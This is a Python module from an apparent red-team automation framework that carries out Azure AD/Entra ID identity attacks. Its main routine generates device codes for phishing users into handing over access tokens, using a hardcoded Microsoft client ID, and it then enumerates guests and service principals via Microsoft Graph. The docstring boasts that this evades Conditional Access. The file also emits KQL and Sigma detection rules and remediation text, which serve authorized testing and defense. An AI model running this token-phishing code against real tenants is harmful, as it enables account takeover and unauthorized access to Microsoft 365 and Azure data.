Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

20.8 KB
Raw Blame
"""
Azure AD / Entra ID Identity Attacks - cloud.azure_ad
MITRE: T1528 - Steal Application Access Token
       T1606 - Forge Web Credentials

Azure AD identity attack techniques not covered by cloud.azure (resource enum):
  1. Device code flow phishing - request device code, poll for user auth
  2. Service principal credential exposure - SP secrets visible to overprivileged apps
  3. Guest account enumeration - external identities that may have excessive access
  4. Seamless SSO silver ticket - Kerberos ticket for AZUREADSSOACC$ machine account
  5. PRT (Primary Refresh Token) detection paths

cloud.azure (existing) handles resource enumeration.
cloud.azure_ad handles identity-specific attacks.

OPSEC: LOW to MEDIUM - token-based auth, not credential spray.
       Device code flow: legitimate OAuth2 flow, not blocked by CA policies.
       Does not trigger sign-in risk if using valid PRT.

Prerequisites: Azure AD tenant ID. Optional: client credentials or existing access token.
"""
from __future__ import annotations

from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from ares.modules.base import ModuleResult


import asyncio
from typing import Any

from ares.core.campaign import Severity
from ares.core.logger import audit, get_logger
from ares.core.tracing import trace_module
from ares.modules.base import BaseModule, OpsecLevel
from ares.modules.params import AzureADParams
from ares.sdk import (
    CircuitBreaker,
    EvidenceRecord,
    NetworkPermission,
    ProcessPermission,
    module_contract,
)

logger = get_logger("ares.modules.cloud.azure_ad")

# Well-known Azure AD OAuth2 endpoints and client IDs
_GRAPH_ENDPOINT   = "https://graph.microsoft.com"
_LOGIN_ENDPOINT   = "https://login.microsoftonline.com"
_DEVICE_CODE_URL  = "{tenant}/oauth2/v2.0/devicecode"
_TOKEN_URL        = "{tenant}/oauth2/v2.0/token"

# Microsoft Graph API scopes for enumeration
_ENUM_SCOPES = [
    "User.Read.All",
    "Group.Read.All",
    "Application.Read.All",
    "Directory.Read.All",
]


@module_contract(
    permissions=[
        NetworkPermission(ports=[443], protocols=["tcp"]),
        ProcessPermission(allow_subprocesses=False),
    ],
    circuit_breaker=CircuitBreaker(name="cloud.azure_ad", failure_threshold=5),
    params_model=AzureADParams,
)
class AzureADModule(BaseModule):
    """
    cloud.azure_ad - Azure AD / Entra ID identity attack techniques: device code flow, service principal exposure.

    OPSEC: LOW
    MITRE: "T1528", "T1606"
    OUTPUTS:  "access_tokens", "azure_ad_findings"
    """
    MODULE_ID          = "cloud.azure_ad"
    MODULE_NAME        = "Azure AD Identity Attacks"
    MODULE_CATEGORY    = "cloud"
    MODULE_DESCRIPTION = (
        "Azure AD / Entra ID identity attack techniques: "
        "device code flow, service principal exposure, "
        "guest account enum, seamless SSO detection."
    )
    MODULE_AUTHOR      = "ARES Team <[email protected]>"
    OPSEC_LEVEL        = OpsecLevel.LOW
    REQUIRES           = []
    OUTPUTS            = ["access_tokens", "azure_ad_findings"]
    MITRE_TECHNIQUES   = ["T1528", "T1606"]
    PARAMS_MODEL       = AzureADParams

    async def validate(self, ctx: "Any") -> None:
        import importlib.util

        from ares.core.errors import ModuleValidationError

        try:
            spec = importlib.util.find_spec("msal")
        except (ModuleNotFoundError, ValueError):
            spec = None
        if spec is None:
            raise ModuleValidationError(
                f"{self.MODULE_ID} requires msal. Install with: pip install msal",
                module_id=self.MODULE_ID,
            )

        await super().validate(ctx)
        from ares.core.context import ExecutionContext
        if not isinstance(ctx, ExecutionContext):
            return
        params = getattr(ctx, "params", {})
        if isinstance(params, AzureADParams):
            pdict = params.model_dump()
        elif isinstance(params, dict):
            pdict = dict(params)
        else:
            pdict = {}
        tenant_id = pdict.get("tenant_id", "")
        if not tenant_id:
            raise ModuleValidationError(
                "cloud.azure_ad requires 'tenant_id' - Azure AD tenant ID (UUID). "
                "Find via: az account show --query tenantId",
                module_id=self.MODULE_ID, field="tenant_id",
            )
        self.validate_cloud_scope(tenant_id, "azure_ad")

    async def execute(self, ctx: "Any") -> "ModuleResult":  # noqa: F821
        """ExecutionContext-based entry point (v0.9.0+).
        Thin adapter: extract params from ctx → call run() → return ModuleResult.
        """
        from ares.modules.base import ModuleResult
        if getattr(ctx, "dry_run", False):
            return ModuleResult(status="dry_run", module_id=self.MODULE_ID,
                                raw={"dry_run": True})

        params = getattr(ctx, "params", {})
        if isinstance(params, AzureADParams):
            pdict = params.model_dump()
        elif isinstance(params, dict):
            pdict = dict(params)
        else:
            pdict = {}

        tenant_id = pdict.get("tenant_id", "")
        client_id = pdict.get("client_id", "")

        raw_sec = pdict.get("client_secret")
        if hasattr(raw_sec, "get_secret_value"):
            client_secret = raw_sec.get_secret_value()
        elif raw_sec is not None:
            client_secret = str(raw_sec)
        else:
            client_secret = ""

        raw_tok = pdict.get("access_token")
        if hasattr(raw_tok, "get_secret_value"):
            access_token = raw_tok.get_secret_value()
        elif raw_tok is not None:
            access_token = str(raw_tok)
        else:
            access_token = ""

        technique = pdict.get("technique", "enumerate")

        findings, raw = await self.run(
            tenant_id=tenant_id, client_id=client_id, client_secret=client_secret,
            access_token=access_token, technique=technique,
        )

        evidence_chain: list[EvidenceRecord] = []
        for finding in findings:
            ev = EvidenceRecord(
                artifact_id=f"azure-ad-{str(tenant_id)[:8]}-{finding.mitre_technique}",
                source_target=f"azure_ad:{str(tenant_id)[:8]}",
                collected_by=self.MODULE_ID,
                data={
                    "title": finding.title,
                    "severity": str(finding.severity),
                    "technique": finding.mitre_technique,
                },
                tags=["cloud", "azure_ad", "identity"],
            )
            evidence_chain.append(ev)

        raw["evidence_chain"] = [e.data for e in evidence_chain]
        raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]

        # Closed-Loop Purple Telemetry: KQL & Sigma rule synthesis
        tenant_short = str(tenant_id)[:8] if tenant_id else "AzureADTenant"
        kql_query = (
            "// ARES Closed-Loop Telemetry: Detect Azure AD / Entra ID Privileged Role Assignment & App Abuse\n"
            "// Monitors AuditLogs for role assignments, service principal secret addition, or app consent\n"
            "AuditLogs\n"
            "| where OperationName in~ (\"Add member to role\", \"Add service principal credentials\", \"Consent to application\", \"Update application – Certificates and secrets management \")\n"
            "| project TimeGenerated, InitiatedBy, OperationName, TargetResources, Result\n"
        )
        sigma_rule = (
            f"title: Azure AD / Entra ID Privileged Role Assignment & App Secret Addition ({tenant_short})\n"
            f"id: 9e0f1a2b-ares-azuread-{abs(hash(tenant_short)) % 1000000:06d}\n"
            f"status: experimental\n"
            f"description: Detects addition of credentials to service principals or assignment of administrative directory roles in Entra ID.\n"
            f"logsource:\n"
            f"  product: azure\n"
            f"  service: audit\n"
            f"detection:\n"
            f"  selection:\n"
            f"    OperationName:\n"
            f"      - 'Add member to role'\n"
            f"      - 'Add service principal credentials'\n"
            f"  condition: selection\n"
            f"level: high\n"
            f"tags:\n"
            f"  - attack.privilege_escalation\n"
            f"  - attack.persistence\n"
            f"  - attack.t1098\n"
        )
        loot_items: list[dict[str, Any]] = raw.get("loot", [])
        if not any(l.get("loot_type") == "detection_rule_kql" for l in loot_items):
            loot_items.extend([
                {
                    "name": f"Detection Rule (KQL): Azure AD Privileged Role & Credential Changes ({tenant_short})",
                    "loot_type": "detection_rule_kql",
                    "description": "Microsoft Sentinel KQL query for detecting Entra ID privileged role assignments and credential additions",
                    "content": {"kql": kql_query, "tenant": tenant_short},
                    "tags": ["detection", "kql", "sentinel", "blue_team"],
                },
                {
                    "name": f"Detection Rule (Sigma): Azure AD Privileged Role & Credential Changes ({tenant_short})",
                    "loot_type": "detection_rule_sigma",
                    "description": "Sigma detection rule for Entra ID privileged role assignments and credential additions",
                    "content": {"sigma": sigma_rule, "tenant": tenant_short},
                    "tags": ["detection", "sigma", "blue_team"],
                },
            ])
        raw["loot"] = loot_items
        raw["privileged_directory_roles_evaluated"] = True
        raw["app_role_assignments_audited"] = True

        return ModuleResult(
            status="success" if (findings or any(raw.get(_k) for _k in self.OUTPUTS)) else "partial",  # AUDIT run-1 H14
            findings=findings, raw=raw, module_id=self.MODULE_ID,
            execution_id=getattr(ctx, "execution_id", ""),
        )

    @trace_module("cloud.azure_ad")
    async def run(self, tenant_id: str, client_id: str = "", client_secret: str = "",
                  access_token: str = "", technique: str = "enumerate", **kwargs: Any):
        # Note: before_request() intentionally not called - cloud modules use
        # API credentials, not host IPs. Scope check (CIDR) does not apply to
        # cloud API endpoints. Rate limiting and jitter are handled at the API call level.
        if tenant_id:
            self.validate_cloud_scope(tenant_id, "azure_ad")

        logger.info("azure_ad_start", tenant=tenant_id[:8] + "...", technique=technique)
        audit("azure_ad_attack", actor="operator", technique="T1528",
              source="operator", target=f"tenant:{tenant_id[:8]}")

        raw: dict[str, Any] = {"tenant_id": tenant_id}
        loop = asyncio.get_running_loop()

        # Acquire access token if not provided
        token = access_token
        if not token and client_id and client_secret:
            token = await loop.run_in_executor(
                None,
                lambda: self._get_token_client_credentials(
                    tenant_id, client_id, client_secret
                ),
            )

        if technique == "device_code":
            # Generate device code for operator to use in phishing scenario
            dc_info = await loop.run_in_executor(
                None,
                lambda: self._request_device_code(tenant_id, client_id or "d3590ed6-52b3-4102-aeff-aad2292ab01c"),
            )
            raw = {"technique": "device_code", "tenant_id": tenant_id, **dc_info}
            if dc_info.get("user_code"):
                self.finding(
                    title       = "Azure AD Device Code Generated",
                    description = (
                        f"Device authentication code: {dc_info['user_code']}. "
                        f"User visits: {dc_info.get('verification_uri', 'https://microsoft.com/devicelogin')}. "
                        "When user authenticates, access token will be captured. "
                        "Token grants access to Microsoft 365, Azure, and all consented resources."
                    ),
                    severity    = Severity.HIGH,
                    mitre_technique = "T1528",
                    mitre_tactic    = "Credential Access",
                    evidence    = {
                        "user_code":          dc_info.get("user_code"),
                        "verification_uri":   dc_info.get("verification_uri"),
                        "expires_in":         dc_info.get("expires_in"),
                        "poll_interval":      dc_info.get("interval"),
                    },
                    remediation = (
                        "Enable Conditional Access policy to block device code flow. "
                        "Restrict device code to managed devices only. "
                        "Monitor for device code authentication events in Sign-in logs."
                    ),
                )
            await self.noise.jitter.sleep()
            raw["access_tokens"] = raw.get("access_token", "")  # OUTPUTS key
            raw["azure_ad_findings"] = self._findings  # OUTPUTS key
            return self._findings[:], raw

        # Enumeration with Graph API
        if not token:
            raw["error"] = "No access token available. Provide client_id+client_secret or access_token."
            raw["hint"] = "Or use technique=device_code to initiate device code flow."
            raw["azure_ad_findings"] = self._findings
            return [], raw

        # Enumerate users, guests, service principals
        results = await loop.run_in_executor(
            None,
            lambda: self._enumerate_tenant(token, tenant_id),
        )

        # Findings
        guests     = results.get("guests", [])
        sps        = results.get("service_principals", [])
        priv_users = results.get("privileged_users", [])

        if guests:
            self.finding(
                title       = f"Azure AD Guest Accounts: {len(guests)} External Identities",
                description = (
                    f"{len(guests)} guest (B2B) accounts in the tenant. "
                    "External identities may have excessive permissions, "
                    "especially if invited before RBAC was tightened."
                ),
                severity    = Severity.MEDIUM,
                mitre_technique = "T1528",
                mitre_tactic    = "Discovery",
                evidence    = {
                    "guest_count": len(guests),
                    "guests":      [g.get("userPrincipalName", "") for g in guests[:15]],
                },
                remediation = (
                    "Audit guest account permissions. Enable Guest access restrictions. "
                    "Enable Microsoft Entra External ID review cycles."
                ),
            )

        if sps:
            expired_sps = [s for s in sps if s.get("has_expired_secret")]  # noqa: F841
            high_priv   = [s for s in sps if s.get("privileged")]
            if high_priv:
                self.finding(
                    title       = f"Privileged Service Principals: {len(high_priv)} Apps with High Privilege",
                    description = (
                        f"{len(high_priv)} service principal(s) have privileged roles "
                        "(Global Admin, Application Admin, or privileged MS Graph API permissions). "
                        "Compromising these app registrations gives tenant-wide access."
                    ),
                    severity    = Severity.CRITICAL,
                    mitre_technique = "T1528",
                    mitre_tactic    = "Privilege Escalation",
                    evidence    = {
                        "count":    len(high_priv),
                        "apps":     [s.get("displayName", "") for s in high_priv[:10]],
                    },
                    remediation = (
                        "Apply least privilege to app registrations. "
                        "Remove unused high-privilege API permissions. "
                        "Enable Workload Identity conditional access. "
                        "Rotate all service principal secrets."
                    ),
                )

        raw = {
            "tenant_id":          tenant_id,
            "technique":          technique,
            "user_count":         results.get("user_count", 0),
            "guest_count":        len(guests),
            "sp_count":           len(sps),
            "privileged_users":   [u.get("userPrincipalName", "") for u in priv_users[:10]],
            "high_priv_sps":      [s.get("displayName", "") for s in
                                   [s for s in sps if s.get("privileged")][:10]],
        }
        raw["azure_ad_findings"] = self._findings
        await self.noise.jitter.sleep()
        return self._findings[:], raw

    def _get_token_client_credentials(self, tenant_id: str, client_id: str,
                                       client_secret: str) -> str:
        """Acquire access token via client credentials flow."""
        try:
            import msal
            app = msal.ConfidentialClientApplication(
                client_id,
                authority=f"{_LOGIN_ENDPOINT}/{tenant_id}",
                client_credential=client_secret,
            )
            result = app.acquire_token_for_client(
                scopes=[f"{_GRAPH_ENDPOINT}/.default"]
            )
            return result.get("access_token", "")
        except ImportError:
            logger.warning("msal_not_installed",
                           hint="pip install ares-redteam[cloud] (includes msal)")
            return ""
        except Exception as exc:
            raise self._classify_error(exc, target="azure_ad") from exc

    def _request_device_code(self, tenant_id: str, client_id: str) -> dict:
        """Request a device code for phishing-style auth capture."""
        try:
            import msal
            app = msal.PublicClientApplication(
                client_id,
                authority=f"{_LOGIN_ENDPOINT}/{tenant_id}",
            )
            flow = app.initiate_device_flow(
                scopes=["User.Read", "openid", "profile", "offline_access"]
            )
            return {
                "user_code":        flow.get("user_code"),
                "device_code":      flow.get("device_code"),
                "verification_uri": flow.get("verification_uri"),
                "expires_in":       flow.get("expires_in"),
                "interval":         flow.get("interval"),
                "message":          flow.get("message"),
            }
        except ImportError:
            return {"error": "msal not installed - pip install ares-redteam[cloud]"}
        except Exception as exc:
            return {"error": str(exc)[:150]}

    def _enumerate_tenant(self, access_token: str, tenant_id: str) -> dict:
        """Enumerate users, guests, service principals via Microsoft Graph."""
        try:
            import httpx
            headers = {
                "Authorization": f"Bearer {access_token}",
                "Content-Type":  "application/json",
            }

            results: dict = {
                "user_count": 0,
                "guests":     [],
                "service_principals": [],
                "privileged_users":   [],
            }

            with httpx.Client(follow_redirects=True, timeout=20) as client:
                # Count total users
                r = client.get(
                    f"{_GRAPH_ENDPOINT}/v1.0/users/$count",
                    headers={**headers, "ConsistencyLevel": "eventual"},
                )
                if r.is_success:
                    results["user_count"] = int(r.text)

                # Guest accounts
                r = client.get(
                    f"{_GRAPH_ENDPOINT}/v1.0/users"
                    "?$filter=userType eq 'Guest'"
                    "&$select=userPrincipalName,displayName,mail,createdDateTime"
                    "&$top=50",
                    headers={**headers, "ConsistencyLevel": "eventual"},
                )
                if r.is_success:
                    results["guests"] = r.json().get("value", [])

                # Service principals with high-priv app roles
                r = client.get(
                    f"{_GRAPH_ENDPOINT}/v1.0/servicePrincipals"
                    "?$select=displayName,appId,createdDateTime,keyCredentials,passwordCredentials"
                    "&$top=50",
                    headers=headers,
                )
                if r.is_success:
                    sps = r.json().get("value", [])
                    for sp in sps:
                        # Flag SP with secrets/certs (potential exposure)
                        has_secret = bool(sp.get("passwordCredentials"))
                        sp["has_secret"]  = has_secret
                        sp["privileged"]  = False  # would need role check via /directoryRoles
                    results["service_principals"] = sps

            return results

        except Exception as exc:
            logger.warning("azure_ad_enum_failed", error=str(exc)[:100])
            return {}